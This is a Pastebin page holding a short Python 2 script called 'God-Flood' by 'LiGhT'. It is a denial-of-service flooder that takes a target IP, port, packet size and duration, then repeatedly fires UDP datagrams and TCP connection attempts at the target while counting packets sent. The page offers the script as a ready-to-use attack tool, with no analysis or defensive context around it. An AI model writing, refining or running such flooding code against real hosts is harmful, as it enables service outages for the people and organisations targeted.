Advertisement
LNO_LiGhT

God-Flood(TCP,UDP,SYN) By LiGhT

Feb 29th, 2016
981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.43 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # God-Flood by LiGhT
  3. import socket, random, time, os, sys
  4.  
  5. if len(sys.argv) < 5:
  6.         print "God-Flood By LiGhT"
  7.         sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size> <time>")
  8.  
  9. ip = sys.argv[1]
  10. port = int(sys.argv[2])
  11. size = int(sys.argv[3])
  12. t1m3 = int(sys.argv[4])
  13. timeout = time.time() + t1m3
  14. sent = 0
  15. data = 'f1a525da11f6'.decode('hex')
  16. while True:
  17.         try:
  18.                 if time.time() > timeout:
  19.                         break
  20.                 else:
  21.                         pass
  22.                 udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  23.                 syn = socket.socket()
  24.                 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
  25.                 if port == "0":
  26.                         port = random.randrange(1, 65535)
  27.                 s.connect((ip, port))
  28.                 s.send(data)
  29.                 bytes = random._urandom(size)
  30.                 syn.connect((ip, port))
  31.                 udp.sendto(bytes,(ip, port))
  32.                 sent = sent + 1
  33.                 print "DuMPiNG TaRGeT: %s | PoRT: %s | SiZe: %s | TiMe: %s | PaCKeT: %s"%(ip, port, size, t1m3, sent)
  34.                 #sys.stdout.write("\x1b]2;Total Packets Sent: %s\x07" % sent)
  35.         except KeyboardInterrupt:
  36.                 print " Stopping Flood!"
  37.                 sys.exit()
  38.         except socket.error, msg:
  39.                 print "Socket Couldn't Connect"
  40.                 sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement